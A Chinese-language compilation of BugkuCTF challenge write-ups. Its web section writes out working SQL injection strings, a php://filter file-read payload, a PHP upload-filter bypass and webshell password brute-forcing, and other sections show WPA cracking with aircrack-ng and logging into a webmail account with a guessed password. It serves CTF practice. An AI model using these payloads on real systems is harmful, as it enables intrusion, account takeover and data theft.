BugkuCTF 部分WP(搬運了很多WP)
WEB
web2
http://123.206.87.240:8002/web2/
右鍵或按F12檢視原始碼或者url前加view-source
view-source:http://123.206.87.240:8002/web2/
計算器
http://123.206.87.240:8002/yanzhengma/
F12 修改maxlength
web基礎$_GET
http://123.206.87.240:8002/get/
GET傳參 ?what=flag
http://123.206.87.240:8002/get/?what=flag
web基礎$_POST
http://123.206.87.240:8002/post/
HackBar 或者burpsuite post傳參 what=flag
矛盾
http://123.206.87.240:8002/get/index1.php
考察php弱型別比較
http://123.206.87.240:8002/get/index1.php?num=1a
web3
http://123.206.87.240:8002/web3/
檢視原始碼
複製出來貼上到 burp 自帶的 decoder 裡,在 decode as 選 HTML,就能解碼出 flag
域名解析
burpsuite抓包,把 host 欄位直接改成域名。
或者修改C盤下的hosts檔案
你必須讓他停下
http://123.206.87.240:8002/web12/
burpsuite抓包後發到 repeater,每點一次 Go 就會重新整理,多重新整理幾次就可以看到flag
變數1
flag In the variable !` <?php error_reporting(0); include "flag1.php"; highlight_file(__file__); if(isset($_GET['args'])) { $args = $_GET['args']; if(!preg_match("/^\w+$/",$args)) { die("args error!"); } eval("var_dump($$args);"); } ?>`
需要傳入有個 args 引數,通過 eval 來執行 var_dump 來列印一些東西。但是它打 印的是$$args 而不是$args。
傳 入 參 數 ‘args=GLOBALS' , var_dump()將列印$GLOBALS
http://123.206.87.240:8004/index1.php?args=GLOBALS
web5
檢視原始碼,將以下內容放到瀏覽器控制檯執行得到flag
([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+!+
.................(此處省略若干行)
(![]+[])[!+[]+!+[]+!+[]]]()[+[]])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+([][[]]+[])[!+[]+!+[]])
ctf{whatfk}
字母大寫 CTF{WHATFK}
頭等艙
http://123.206.87.240:9009/hd.php
burpsuite抓包傳送到Repeater 裡面,Go 一下,Response 裡面已經出來 flag 了
網站被黑
http://123.206.87.240:8002/webshell/
御劍掃描後臺
掃描出 shell.php,開啟連結是一個 webshell,嘗試 admin 等弱密碼無效後
開 burp 進行爆破,這裡選擇 Simple list,字典選擇 burp 自帶的 Passwords
爆破結果,密碼為hack,登入webshell,得到flag
管理員系統
decode as base64Username: admin
Password: test123
IP禁止訪問,請聯絡本地管理員登陸,IP已被記錄.
輸入
Username: admin
Password: test123
burpsuite抓包 傳送到repeater 偽造ip X-Forwarded-For: 127.0.0.1 得到flag
web4
http://123.206.87.240:8002/web4/
檢視原始碼
進行 unescape 解密,得到 function checkSubmit(){vara=document.getElementById("password");if("undefined"!=typeofa){if("67d709b2b aa648cf6e87a7114f1"==a.value)return!0;alert("Error");a.focus();return!1}}document.getElement ById("levelQues
,原始碼中有這麼一 句:eval(unescape(p1) + unescape('%35%34%61%61%32' + p2));這句程式碼的 含義是:p1 串的編碼+‘%35%34%61%61%32’的編碼+p2 串的編碼。這是一個拼 接的字串,解碼之後,拼接完成,回到網頁中提交,網頁直接爆出了 flag。
67d709b2b 54aa2 aa648cf6e87a7114f1
拼接完成,回到網頁中提交,網頁直接爆出了 flag:67d709b2b54aa2aa648cf6e87a7114f1
KEY{J22JK-HS11}
flag在index裡
http://123.206.87.240:8005/post/
file=php://filter/read=convert.base64-encode/resource=index.php 的含義 首先這是一個 file 關鍵字的 get 引數傳遞,
php://是一種協議名稱,
php://filter/ 是一種訪問本地檔案的協議,
/read=convert.base64-encode/表示讀取的方式是 base64 編碼後,resource=index.php 表示目標檔案為 index.php。
decode as base64
<html>
<title>Bugku-ctf</title>
<?php
error_reporting(0);
if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag:flag{edulcni_elif_lacol_si_siht}
?>
</html>
輸入密碼檢視flag
http://123.206.87.240:8002/baopo/
baopo:爆破
burpsuite抓包爆破得到密碼13579
輸入密碼得到flag
備份是個好習慣
http://123.206.87.240:8002/web16/
http://123.206.87.240:8002/web16/index.php.bak
下載備份檔案
<?php
/**
* Created by PhpStorm.
* User: Norse
* Date: 2017/8/6
* Time: 20:22
*/
include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
parse_str($str);
echo md5($key1);
echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
echo $flag."取得flag";
}
?>
str_replace 把字串中的 'key'替換 為 空 可 以 使 用 類 似這 樣 的 語 句 : kkeyey 處理
最後需要得到 key1,key2 不相等而二者 md5 相等,可以利用 php 弱型別比較 繞過
構造
payload:?kkeyey1=QNKCDZO&kkeyey2=240610708
成績單
0' union select database(),2,3,4 #
得到資料庫名 skctf_flag
0' union select table_name,2,3,4 from information_schema.tables where table_schema='skctf_flag'#
得到表名 fl4g
0' union select column_name,2,3,4 from information_schema.columns where table_name='fl4g'#
得到列名 skctf_flag
0' union select skctf_flag,2,3,4 from fl4g#
秋名山老司機
網上抄的程式碼
import requests
import re
url = 'http://123.206.87.240:8002/qiumingshan/' # 這個URL是不定的
s = requests.session()
g = s.get(url)
page = re.findall(r'<div>(.*)=\?;</div>', g.text)[0]
res = eval(page)
payload = {'value': res}
p = s.post(url, data=payload)
print(p.text)
一次執行可能看不到flag,多執行幾次就可以看到flag
速度要快
http://123.206.87.240:8002/web6/
# coding:utf-8
import requests
import base64
url="http://123.206.87.240:8002/web6/"
s=requests.Session()
head=s.get(url).headers
flag=base64.b64decode(head["flag"])
flag=flag.decode()
key=base64.b64decode(flag.split(":")[1])
payload={"margin":key}
print(s.post(url,data=payload).text)
KEY{111dd62fcd377076be18a}
cookies欺騙
http://123.206.87.240:8002/web11/index.php?line=&filename=a2V5cy50eHQ=
a2V5cy50eHQ= decode as base64 keys.txt
參考
https://www.cnblogs.com/-chenxs/p/11658288.html
<?php
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
$file_list[2]='keys.php';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>
http://123.206.87.240:8002/web11/index.php?line=&filename=a2V5cy5waHA=
burpsuite抓包傳送到repeater
在請求頭新增 Cookie: margin=margin
(Cookie: margin=margin
Upgrade-Insecure-Requests: 1)
KEY{key_keys}
never give up
http://123.206.87.240:8006/test/hello.php?id=1
檢視原始碼
訪問 view-source:http://123.206.87.240:8006/test/1p.html
<!--
var Words ="%3Cscript%3Ewindow.location.href%3D%27http%3A//www.bugku.com%27%3B%3C/script%3E%20%0A%3C%21--JTIyJTNCaWYlMjglMjElMjRfR0VUJTVCJTI3aWQlMjclNUQlMjklMEElN0IlMEElMDloZWFkZXIlMjglMjdMb2NhdGlvbiUzQSUyMGhlbGxvLnBocCUzRmlkJTNEMSUyNyUyOSUzQiUwQSUwOWV4aXQlMjglMjklM0IlMEElN0QlMEElMjRpZCUzRCUyNF9HRVQlNUIlMjdpZCUyNyU1RCUzQiUwQSUyNGElM0QlMjRfR0VUJTVCJTI3YSUyNyU1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJTVCJTI3YiUyNyU1RCUzQiUwQWlmJTI4c3RyaXBvcyUyOCUyNGElMkMlMjcuJTI3JTI5JTI5JTBBJTdCJTBBJTA5ZWNobyUyMCUyN25vJTIwbm8lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJTI3JTNCJTBBJTA5cmV0dXJuJTIwJTNCJTBBJTdEJTBBJTI0ZGF0YSUyMCUzRCUyMEBmaWxlX2dldF9jb250ZW50cyUyOCUyNGElMkMlMjdyJTI3JTI5JTNCJTBBaWYlMjglMjRkYXRhJTNEJTNEJTIyYnVna3UlMjBpcyUyMGElMjBuaWNlJTIwcGxhdGVmb3JtJTIxJTIyJTIwYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3RybGVuJTI4JTI0YiUyOSUzRTUlMjBhbmQlMjBlcmVnaSUyOCUyMjExMSUyMi5zdWJzdHIlMjglMjRiJTJDMCUyQzElMjklMkMlMjIxMTE0JTIyJTI5JTIwYW5kJTIwc3Vic3RyJTI4JTI0YiUyQzAlMkMxJTI5JTIxJTNENCUyOSUwQSU3QiUwQSUwOXJlcXVpcmUlMjglMjJmNGwyYTNnLnR4dCUyMiUyOSUzQiUwQSU3RCUwQWVsc2UlMEElN0IlMEElMDlwcmludCUyMCUyMm5ldmVyJTIwbmV2ZXIlMjBuZXZlciUyMGdpdmUlMjB1cCUyMCUyMSUyMSUyMSUyMiUzQiUwQSU3RCUwQSUwQSUwQSUzRiUzRQ%3D%3D--%3E"
function OutWord()
{
var NewWords;
NewWords = unescape(Words);
document.write(NewWords);
}
OutWord();
// -->
decode as base64 , decode as html
<!--
var Words ="<script>window.location.href='http://www.bugku.com';</script>
<!--";if(!$_GET['id'])
{
header('Location: hello.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'no no no no no no no';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
require("f4l2a3g.txt");
}
else
{
print "never never never give up !!!";
}
?>-->"
function OutWord()
{
var NewWords;
NewWords = unescape(Words);
document.write(NewWords);
}
OutWord();
// -->
訪問 http://123.206.87.240:8006/test/f4l2a3g.txt 得到flag
字元?正則?
參考連結:https://blog.csdn.net/weixin_44481102/article/details/90214568
https://www.cnblogs.com/chrysanthemum/p/11483857.html
不太懂正則
[http://123.206.87.240:8002/web10/?id=keykeykeykeykey:/ /keya@i](http://123.206.87.240:8002/web10/?id=keykeykeykeykey:/ /keya@i)
你從哪裡來
http://123.206.87.240:9009/from.php
are you from google?
burpsuite抓包傳送到repeater
在Headers新增 Referer https://www.google.com
md5 collision(NUPT_CTF)
md5碰撞、php弱型別
PHP在處理雜湊字串時,會利用”!=”或”==”來對雜湊值進行比較,它把每一個以”0E”開頭的雜湊值都解釋為0,所以如果兩個不同的密碼經過雜湊以後,其雜湊值都是以”0E”開頭的,那麼PHP將會認為他們相同,都是0。
攻擊者可以利用這一漏洞,通過輸入一個經過雜湊後以”0E”開頭的字串,即會被PHP解釋為0,如果資料庫中存在這種雜湊值以”0E”開頭的密碼的話,他就可以以這個使用者的身份登入進去,儘管並沒有真正的密碼。
原文連結:https://blog.csdn.net/qq_30464257/article/details/81432446
參考連結 https://blog.csdn.net/qq_30464257/article/details/81432446
http://123.206.87.240:9009/md5.php
http://123.206.87.240:9009/md5.php?a=s878926199a
程式設計師本地網站
burpsuite抓包傳送到repeater
在Headers新增 X-Forwarded-For 127.0.0.1
各種繞過
http://123.206.87.240:8002/web7/
<?php
highlight_file('flag.php');
$_GET['id'] = urldecode($_GET['id']);
$flag = 'flag{xxxxxxxxxxxxxxxxxx}';
if (isset($_GET['uname']) and isset($_POST['passwd'])) {
if ($_GET['uname'] == $_POST['passwd'])
print 'passwd can not be uname.';
else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin'))
die('Flag: '.$flag);
else
print 'sorry!';
}
?>
本題注意點:
- get 方式提交 uname 和 id 值,post 方式提交 passwd 值
- uname 和 passwd 的雜湊值相同
- id == “margin”
解決
1 get 和 post 提交,方式 1:火狐的 HackBar,方式2:python 程式。。。
2 把 uname 和 passwd 定義成陣列,陣列的雜湊值相同
3 url 傳入時,令 id=margin
get傳參:http://123.206.87.240:8002/web7/?uname[]=1&id=margin
post傳參:passwd[]=2
web8
http://123.206.87.240:8002/web8/
<?php
extract($_GET);
if (!empty($ac))
{
$f = trim(file_get_contents($fn));
if ($ac === $f)
{
echo "<p>This is flag:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}
?>
分析程式碼:
extract($_GET):函式 extract()有通過陣列進行賦值的功能
file_get_contents($fn):file_get_contents 功能是從檔名為“$fn”的檔案中讀取資料,但是當$fn 的值為“php://input”,它會接受並返回 post 的值
構造 index.php?ac=text&fn=php://input
post data
text
細心
http://123.206.87.240:8002/web13/
http://123.206.87.240:8002/web13/robots.txt
http://123.206.87.240:8002/web13/resusl.php
http://123.206.87.240:8002/web13/resusl.php?x=admin
求getshell
http://123.206.87.240:8002/web9/
這道題是字尾名黑名單檢測和型別檢測
-
把請求頭裡面的 Content-Type 字母改成大寫進行繞過
-
.jpg 後面加上.php5 其他的都被過濾了好像 如果是 walf 嚴格匹配,通過修改 Content-type 後字母的大小寫可以繞過檢測,使 得需要上傳的檔案可以到達伺服器端,而伺服器的容錯率較高,一般我們上傳的檔案 可以解析。然後就需要確定我們如何上傳檔案,在分別將字尾名修改為 php2, php3, php4, php5, phps, pht, phtm, phtml(php 的別名),發現只有 php5 沒有被過 濾,成功上傳,得到 flag
Content-Type: mUltipart/form-data;
Content-Disposition: form-data; name="file"; filename="123.php5"
Content-Type: image/png
INSERT INTO注入
暫時不會做,也不會寫Python指令碼
參考 https://www.cnblogs.com/Zhu013/p/11477772.html
多次
?id=1'or 1=1--+ 也報錯,可能存在過濾
嘗試雙寫繞過,?id=1'oorr 1=1--+ 返回正常
那如何檢測哪些字串被過濾了呢?新技能 GET!
異或注入瞭解一下,兩個條件相同(同真或同假)即為假 ?id=1'^(length('union')!=0)--+
如果返回頁面顯示正常,那就證明 length(‘union’)==0 的,也就是 union 被過濾了 同理測試出被過濾的字串有:and,or,union,select
查資料庫名
http://123.206.87.240:9004/1ndex.php?id=-1' ununionion seselectlect 1,group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()--+
返回flag1,hint
http://123.206.87.240:9004/1ndex.php?id=-1' ununionion seselectlect 1,group_concat(column_name) from infoorrmation_schema.columns where table_name='flag1'--+
返回flag1,address
查列
http://123.206.87.240:9004/1ndex.php?id=-1' ununionion seselectlect 1,group_concat(flag1) from flag1--+
返回 usOwycTju+FTUUzXosjr
查address
http://123.206.87.240:9004/1ndex.php?id=-1' ununionion seselectlect 1,group_concat(address) from flag1--+
返回 ./Once_More.php
下一關地址
查庫
[http://123.206.87.240:9004/Once_More.php?id=1%27%20and%20(extractvalue(1,concat(0x7e,database(),0x7e)))--+](http://123.206.87.240:9004/Once_More.php?id=1' and (extractvalue(1,concat(0x7e,database(),0x7e)))--+)
返回內容
My Id =1' and (extractvalue(1,concat(0x7e,database(),0x7e)))--
Nobody!
XPATH syntax error: '~web1002-2~'
查表
http://123.206.87.240:9004/Once_More.php?id=1' and (extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='web1002-2'),0x7e)))--+
//select group_concat(table_name) from information_schema.tables where table_schema='web1002-2'
返回內容
My Id =1' and (extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='web1002-2'),0x7e)))--
Nobody!
XPATH syntax error: '~class,flag2~'
查資料
http://123.206.87.240:9004/Once_More.php?id=1' and (extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag2'),0x7e)))--+
//select group_concat(column_name) from information_schema.columns where table_name='flag2'
返回內容
My Id =1' and (extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag2'),0x7e)))--
Nobody!
XPATH syntax error: '~flag2,address~'
//select flag2 from flag2
http://123.206.87.240:9004/Once_More.php?id=1' and (extractvalue(1,concat(0x7e,(select flag2 from flag2),0x7e)))--+
返回內容
My Id =1' and (extractvalue(1,concat(0x7e,(select flag2 from flag2),0x7e)))--
Nobody!
XPATH syntax error: '~flag{Bugku-sql_6s-2i-4t-bug}~'
本地主要是 sql 注入,報錯注入以及異或注入
分析
flag 被盜
key.pcapng 檔案,下載用 wireshark 開啟
篩選 http
任意選擇一條含 shell.php 的內容 右鍵 =>>追蹤流 =>>TCP 流 ,看一下詳細 資訊。
X@Yflag{This_is_a_f10g}
中國菜刀
參考:
https://www.cnblogs.com/0yst3r-2046/p/12213278.html
這麼多資料包
下載檔案,wireshark開啟
根據提示,我們要找到 getshell 流, 經大佬提示, 一般 getshell 流的 TCP 的 報文中很可能包含 command 這個欄位, 我們可以通過<協議 contains “內 容” >來查詢 getshell 流
篩選 tcp contains "command"
No5548 追蹤流TCP流
Q0NURntkb195b3VfbGlrZV9zbmlmZmVyfQ==
decode as base64
CCTF{do_you_like_sniffer}
手機熱點
參考:
https://www.cnblogs.com/0yst3r-2046/p/12290445.html
抓到一隻蒼蠅
參考:
https://www.cnblogs.com/0yst3r-2046/p/12299558.html
日誌審計
參考 https://www.cnblogs.com/0yst3r-2046/p/12322110.html
下載檔案,用Notepad++開啟
Plugins-MIME Tool-URL decode
看到有 flag_is_here 的記錄... 在 sql 盲注裡測試的字元的 最後一條狀態碼為 200 的語句 的 ASCII 值再加 1 就 是猜解正確的 ASCII 值,轉換成字元就是我們需要的答案的其中一個字元。
101+1=102 -->f 107+1=108 -->l 96+1=97 -->a 102+1=103 -->g 由於字元比較多,我們就不一一列舉了,以上就是 flag 的前四個字元。 最多得出 flag{sqlm4p_15_p0werful} 這個題的經驗在於,對注入的瞭解,sql 注入盲注
weblogic
參考:
https://www.cnblogs.com/0yst3r-2046/p/12331603.html
資訊提取
參考:
https://blog.csdn.net/qq_39991837/article/details/105452677
特殊後門
下載檔案,wireshark開啟
篩選 icmp
拼接每條流量的資料得到flag
flag{Icmp_backdoor_can_transfer-some_infomation}
WEB進階
phpcmsV9
http://123.206.87.240:8001/robots.txt
bugku 導航
御劍掃描
發現掃出了 1 個 admin、1.zip、robots.txt 等等敏感檔案目錄
然後我們訪問 1.zip 把該檔案下載過來,然後下載解壓後發現這個是該網站的原始碼
在本地開啟該檔案是沒有任何東西的,但是我們在瀏覽器上訪問該檔案,就顯示出 flag 了。
http://123.206.87.240:9006/flag-asd.txt
社工
密碼
這個是典型的弱口令,猜了一下,KEY 是姓名+生日, KEY{zs19970315}
資訊查詢
今日頭條主頁搜尋bugku.cn
https://www.toutiao.com/search/?keyword=bugku.cn
https://www.toutiao.com/a4530947333/c
技術交流群:462713425
KEY{462713425}
簡單個人資訊收集
zip偽加密
參考:
https://www.cnblogs.com/0yst3r-2046/p/11351140.html
用 winhex 開啟,然後修改 09 為 00
在哈爾濱市阿城區勝利街六委十三組 有個叫杜甫的你能把他的手機號找到嗎?
flag格式 flag{手機號}
社工進階
參考:
https://www.cnblogs.com/0yst3r-2046/p/11351332.html
name:孤長離
提示:弱口令
https://tieba.baidu.com/p/4911421204?pid=101711704384&cid=#101711704384
網易郵箱 [email protected] 密碼是弱口令 a123456
在郵箱的草稿箱發現flag KEY{sg1H78Si9C0s99Q}
王曉明的日記
參考:
https://www.cnblogs.com/0yst3r-2046/p/11371915.html
簡單的社工嘗試
參考:
https://www.cnblogs.com/0yst3r-2046/p/11376089.html
雜項
簽到題
掃碼關注公眾號得到flag
flag{BugKu-Sec-pwn!}
這是一張單純的圖片
下載圖片在winhex下開啟,拖到最後發現以下字元,decode as html 得到flag
key{you are right}
隱寫
下載圖片在winhex下開啟,IHDR後面0-3位元組代表圖片寬度,4-7位元組代表圖片高度
將' 00 00 01 F4 00 00 01 A4 '修改為' 00 00 01 F4 00 00 01 F4 '
儲存圖片再次開啟,就可以看到flag
telnet
下載檔案,wireshark開啟,第二個資料包追蹤TCP流發現flag
Password: flag{d316759c281bf925d600be698a4973d5}
眼見非實(ISCCCTF)
下載檔案將檔案字尾改為.zip,解壓,發現 .docx,word開啟報錯,再將字尾改為 .zip,解壓在document.xml中發現flag
<w:t>flag{F1@g}</w:t>
啊噠
下載檔案解壓,把圖片放到kali開啟
binwalk ada.jpg
dd if=ada.jpg of=1.zip skip=218773 bs=1
dd命令詳解,這裡if是指定輸入檔案,of是指定輸出檔案,skip是指定從輸入檔案開頭跳過218773個塊後再開始複製,bs設定每次讀寫塊的大小為1位元組。
zip開啟需要密碼
檢視突破屬性發現
裝置
73646E6973635F32303138
這個會不會是密碼,輸入後發現不是。
burpsuite Decoder模組解碼
73646E6973635F32303138 decode as ASCII hex
sdnisc_2018 //得到解壓密碼
flag{3XiF_iNf0rM@ti0n}
又一張圖片,還單純嗎
kali下開啟
binwalk 、foremost、 dd
dd if=2.jpg of=3.jpg skip=158792 bs=1
猜
下載圖片百度識圖,識圖結果劉亦菲
根據提示key{liuyifei}
寬頻資訊洩露
下載檔案 RouterPassView 開啟
查詢username 053700357621
flag格式:flag{寬頻使用者名稱}
flag{053700357621}
隱寫2
老套路 屬性-winhex-binwalk
屬性和winhex都發現不了什麼
binwalk Welcome_.jpg
dd if=Welcome_.jpg of=2.zip skip=52516 ds=1
開啟壓縮包,圖片提示密碼為3位數,可以用fcrackzip破解,Fcrackzip——簡介、安裝、使用
sudo apt-get install fcrackzip
fcrackzip -b -l 3-3 -c1 -v flag.rar
found file '3.jpg', (size cp/uc 6588/ 6769, flags 801, chk 102c)
possible pw found: 035 ()
possible pw found: 337 ()
possible pw found: 728 ()
possible pw found: 871 ()
解壓密碼:871,解壓後,winhex開啟,拖到最後
發現 f1@g{eTB1IEFyZSBhIGhAY2tlciE=}
eTB1IEFyZSBhIGhAY2tlciE=
decode as Base64
y0u Are a h@cker!
多種方法解決
下載、解壓、winhex開啟
掃碼得flag
閃的好快
是一個gif 一直閃
stegsolve可以把gif一幀幀放的工具
一張張掃
答案就是SYC{F1aSh_so_f4sT}
come_game
白哥的鴿子
winhex開啟,拖到最後,編碼改為ANSI ASCII
fg2ivyo}l{2s3_o@aw__rcl@
fg2ivyo}l{2s3_o@aw__rcl@
2欄:
f3g_2oi@vaywo_}_lr{c2ls@
3欄:
flag{w22_is_v3ry_cool}@@
flag{w22_is_v3ry_cool}
linux
下載檔案,解壓,kali下開啟
grep 'key' -a flag
key{}
key{}
key{feb81d3834e2423c9903f4755464060b}
隱寫3
winhex修改圖片高度
把01 00 改為02 A7
拿到flag{He1l0_d4_ba1}
做個遊戲(08067CTF)
下載、解壓經過試驗發現flag在下面這個檔案
.\heiheihei\cn\bjsxt\plane\PlaneGameFrame.class
編輯-查詢flag flag{RGFqaURhbGlfSmlud2FuQ2hpamk=}
RGFqaURhbGlfSmlud2FuQ2hpamk=
decode as base64
DajiDali_JinwanChiji
想蹭網先解開密碼
flag格式:flag{你破解的WiFi密碼}tips:密碼為手機號,為了不為難你,大佬特地讓我悄悄地把前七位告訴你 1391040** Goodluck!!作者@NewBee
下載檔案,wireshark開啟沒有什麼發現
在kali下開啟
crunch 11 11 -t 1391040%%%% -o dictionary.txt
aircrack-ng -a2 wifi.cap -w dictionary.txt
1 3C:E5:A6:20:91:60 CATR WPA (0 handshake)
2 3C:E5:A6:20:91:61 CATR-GUEST WPA (0 handshake)
3 BC:F6:85:9E:4E:A3 D-Link_DIR-600A WPA (1 handshake, with PMKID)
Index number of target network ? 3
KEY FOUND! [ 13910407686 ]
Linux2
下載檔案,解壓,記事本開啟brave,編輯-查詢 key
KEY{24f3627a86fc740a7f36ee2c7a1c124a}
細心的大象
binwalk 1.jpg
foremost 1.jpg
00000000.jpg 屬性 詳細資訊 TVNEUzQ1NkFTRDEyM3p6
TVNEUzQ1NkFTRDEyM3p6
decode as base64
MSDS456ASD123zz
這個是壓縮包解壓密碼,將解壓後得到的圖片放到winhex開啟,修改高度(01 A4 改為 01 F4)儲存再檢視即可看到flag
爆照
binwalk 8.jpg
foremost 8.jpg
root@kali:~/桌面/output2/zip/00000079# binwalk 8
0 0x0 PC bitmap, Windows 3.x format,, 303 x 300 x 8
root@kali:~/桌面/output2/zip/00000079# binwalk 88
0 0x0 JPEG image data, JFIF standard 1.01
30 0x1E TIFF image data, big-endian, offset of first image directory: 8
root@kali:~/桌面/output2/zip/00000079# binwalk 888
0 0x0 JPEG image data, JFIF standard 1.01
30 0x1E TIFF image data, big-endian, offset of first image directory: 8
root@kali:~/桌面/output2/zip/00000079# binwalk 8888
0 0x0 JPEG image data, JFIF standard 1.01
30 0x1E TIFF image data, big-endian, offset of first image directory: 8
10976 0x2AE0 Zip archive data, at least v2.0 to extract, compressed size: 644, uncompressed size: 1202, name: 1509126368.png
11760 0x2DF0 End of Zip archive, footer length: 22
root@kali:~/桌面/output2/zip/00000079# foremost 8888
88 掃碼得到 bilibili
888 修改新增字尾 888.jpg在win下開啟 屬性-詳細資訊-備註發現base64編碼 c2lsaXNpbGk=
c2lsaXNpbGk=
decode as Base64
silisili
foremost 8888
掃碼結果 panama
根據提示flag格式 flag{xxx_xxx_xxx}得flag{bilibili_silisili_panama}
貓片
hint:LSB BGR NTFS
https://blog.csdn.net/weixin_43426549/article/details/103194153
https://www.cnblogs.com/liuzeyu12a/p/10033384.html
https://www.cnblogs.com/cat47/p/11432475.html
新增字尾 .png 用stegsolve開啟
Alpha為什麼不勾,因為是透明度,如果改為0就變成全透明,圖片就什麼也看不見
RGB是全為0 讓它避免有其他顏色亮度的干擾 ,如果RGB任意一個改為不為0,那麼這張圖片的程式碼就會出現錯誤
導致他不是一個圖片檔案
當我們改好的時候 可以看見是一個png檔案
save bin 儲存為png格式
又因為png格式頭是89504e
所以要把fffe刪掉,我們扔到winhex裡面刪除fffe
儲存再開啟
winhex修改圖片高度 掃碼得到網盤連結,下載
winrar+ntfs 得到一個pyc檔案 用反編譯把他搞成py檔案
import base64
ciphertext = [
'96', '65', '93', '123', '91', '97', '22', '93', '70', '102', '94', '132', '46', '112', '64', '97', '88', '80', '82', '137', '90', '109', '99', '112']
def decode():
flag = ''
ciphertext.reverse()
for i in range(len(ciphertext)):
if i % 2 == 0:
s = int(ciphertext[i]) - 10
else:
s = int(ciphertext[i]) + 10
s = chr(i^s)
flag = flag + s
print(flag)
decode()
flag{Y@e_Cl3veR_C1Ever!}
多彩
旋轉跳躍
普通的二維碼
烏雲邀請碼
下載檔案解壓StegSolve 開啟 LSB First BGR
flag{Png_Lsb_Y0u_K0nw! }
神祕的檔案
採用明文攻擊,用的是ARCHPR
解壓密碼:q1w2e3r4
將解壓得到的文件字尾改為 .zip,解壓,在docProps裡發現flag.txt,裡面是base64
ZmxhZ3tkMGNYXzFzX3ppUF9maWxlfQ==
decode as base64
flag{d0cX_1s_ziP_file}
論劍
下載圖片,winhex開啟,慢慢翻到中間是一串二進位制
1101101 01111001 01101110 01100001 01101101 01100101 01101001 01110011 01101011 01100101 01111001 00100001 00100001 00100001 01101000 01101000 01101000
decode as Binary
109 121 110 97 109 101 105 115 107 101 121 33 33 33 104 104 104
ascii轉字串
a = [109, 121, 110, 97, 109, 101, 105, 115,
107, 101, 121, 33, 33, 33, 104, 104, 104]
b = ""
for i in a:
b += chr(i)
print(b)
'''
mynameiskey!!!hhh
'''
將二進位制部分後面的16進位制"38 7B BC AF 27 1C"改為"37 7A BC AF 27 1C"(7z壓縮包的頭)
binwalk,dd 分離
root@kali:~/桌面# dd if=lunjian1.jpg of=1.zip skip=9591 bs=1 root@kali:~/桌面# dd if=lunjian1.jpg of=1.jpg skip=17569 bs=1
壓縮包解壓密碼mynameiskey!!!hhh 解壓得到ljc2.jpg
winhex開啟ljc2.jpg 搜尋十六進位制搜尋FFC2目的是修改寬高 jpg檔案格式https://blog.csdn.net/yun_hen/article/details/78135122
再把lunjian.jpg也就是題目下載的那個圖片改一下寬高
結合起來 not flag{666c61677B6D795F6E616D655F482121487D}
666c61677B6D795F6E616D655F482121487D
decode as ASCII hex
flag{my_name_H!!H}
圖窮匕見
convert
聽首音樂
好多數值
很普通的數獨(ISCCCTF)
PEN_AND_APPLE
color
懷疑人生
紅綠燈
不簡單的壓縮包
一枝獨秀
小豬佩奇
好多壓縮包
一個普通的壓縮包
2B
QAQ
妹子的陌陌
就五層你能解開嗎
加密
滴答~滴
摩斯電碼解密
聰明的小羊
一隻小羊翻過了2個柵欄KYsd3js2E{a2jda}
柵欄密碼解密(欄數2)
ok
這不是摩斯密碼
easy_crypto
from __future__ import print_function
a = input("input the string:")
s = a.split(" ")
dict = {'01': 'A',
'1000': 'B',
'1010': 'C',
'100':'D',
'0':'E',
'0010':'F',
'110': 'G',
'0000': 'H',
'00': 'I',
'0111':'J',
'101': 'K',
'0100': 'L',
'11': 'M',
'10': 'N',
'111': 'O',
'0110': 'P',
'1101': 'Q',
'010': 'R',
'000': 'S',
'1': 'T',
'001': 'U',
'0001': 'V',
'011': 'W',
'1001': 'X',
'1011': 'Y',
'1100': 'Z',
'01111': '1',
'00111': '2',
'00011': '3',
'00001': '4',
'00000': '5',
'10000': '6',
'11000': '7',
'11100': '8',
'11110': '9',
'11111': '0',
'001100': '?',
'10010': '/',
'101101': '()',
'100001': '-',
'010101': '.',
'110011':',',
'011010':'@',
'111000':':',
'101010':':',
'10001':'=',
'011110':"'",
'101011':'!',
'001101':'_',
'010010':'"',
'10110':'(',
'1111011':'{',
'1111101':'}'
};
for item in s:
print (dict[item],end='')
FLAG{M0RSE_CODE_1S_INTEREST1N9!}
flag{m0rse_code_1s_interest1n9!}
(將字母改為小寫提交)
簡單加密
e6Z9i]8RUQHE{RnY{QXgQnQ{XVlRXlpXI5Q6Q6SKY8jUAA
import base64
string1 = "e6Z9i~]8R~U~QHE{RnY{QXg~QnQ{^XVlRXlp^XI5Q6Q6SKY8jUAA"
string2 = ""
for i, elem in enumerate(string1):
string2 += chr(ord(elem) - 4)
string2 = base64.b64decode(string2)
print(string2)
散亂的密文
凱撒部長的獎勵
凱撒密碼解密,位移數為1
一段Base64
